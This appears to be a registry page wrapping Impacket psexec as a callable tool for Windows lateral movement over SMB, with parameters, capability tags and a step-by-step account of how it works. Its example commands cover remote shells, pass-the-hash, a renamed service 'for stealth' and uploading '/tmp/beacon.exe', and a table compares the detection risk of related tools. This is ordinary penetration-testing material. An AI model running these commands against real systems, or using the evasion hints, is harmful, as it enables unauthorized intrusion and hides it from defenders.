security enabled verified high v1.0.0

psexec

Impacket psexec โ€” Windows remote command execution via SMB service control manager for lateral movement in Active Directory environments.

📋 Live Preview
impacket-psexec {domain}/{user}:{password}@{target}
๐ŸŒ domain โ†’ domain ๐ŸŒ user โ†’ user ๐Ÿ“Ž password ๐ŸŒ target โ†’ ip
impacket-psexec {domain}/{user}:{password}@{target}

Sandbox: execFile · Timeout: 300s

Capabilities

security.lateral.psexec
security.shell.remote
security.execution.remote
security.ad.service.control

Parameters

Name Type Required Default Description Aliases
hashes string No - NTLM hash (LM:NT format) for pass-the-hash --hashes
kerberos boolean No Use Kerberos authentication -k, --kerberos
aesKey string No - AES256/128 key for Kerberos auth --aesKey
dc-ip string No - Domain controller IP for Kerberos --dc-ip
target-ip string No - Target IP address --target-ip
port integer No 445 SMB port number --port
service-name string No BTOBTO Name of the service to create --service-name
codec string No utf-8 Output encoding codec --codec
debug boolean No Enable debug output --debug
no-pass boolean No Do not prompt for password --no-pass
file string No - Local file to execute remotely --file
share string No ADMIN$ SMB share for file upload --share
nooutput boolean No - Suppress output --nooutput
ts boolean No - Include timestamps -ts

Contract

Inputs

network.target.ip

Target IP address

credential.username

Domain username (admin required)

credential.password

Plaintext password or NTLM hash

Outputs

security.shell.session

Remote shell on target system

command.output

Output of executed command

Side effects: network_trafficprocess_spawnfilesystem_writefilesystem_write

Workflow Edges

Produces

security.shell.sessioncommand.output

Consumes

network.target.ipcredential.usernamecredential.password

Resource Profile

ResourceValue
CPUlow
Memory64 MB
Networklow
Disk I/Olow

Examples

Interactive shell with plaintext credentials

impacket-psexec evilcorp.local/administrator:Pass123@10.10.10.1

Pass-the-hash for interactive shell

impacket-psexec evilcorp.local/administrator@10.10.10.1 -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

Execute single command and exit

impacket-psexec evilcorp.local/administrator:Pass123@10.10.10.1 whoami

Kerberos-based authentication

impacket-psexec evilcorp.local/administrator@10.10.10.1 -k -dc-ip 10.10.10.1 -no-pass

Custom service name for stealth

impacket-psexec evilcorp.local/administrator:Pass123@10.10.10.1 -service-name LegitSvc

Upload and execute a local binary

impacket-psexec evilcorp.local/administrator:Pass123@10.10.10.1 -file /tmp/beacon.exe

Documentation

psexec โ€” Remote Command Execution via SMB

psexec (Impacket implementation) enables remote command execution on Windows systems by creating and starting a Windows service via SMB. It is Python-native and does not require any binaries on the target.

How It Works

  1. Connects to ADMIN$ or specified share via SMB
  2. Uploads a service binary (or generates one inline)
  3. Creates a Windows service via the Service Control Manager
  4. Starts the service, which executes the command
  5. Captures stdout/stderr via SMB named pipes
  6. Removes the service and cleans up

Comparison with Other Impacket Exec Tools

Tool Technique Detection Risk
psexec Windows Service (SVCCTL) High โ€” service creation logged
wmiexec WMI (DCOM) Medium โ€” event log 4688
smbexec Scheduled Task via SMB Medium โ€” task creation logged
atexec Scheduled Task via AT Lower โ€” older technique
dcomexec DCOM objects Medium โ€” depends on object

Dependencies

python3impacket

Related Tools

impacketevil-winrmwmiexecsmbexec

References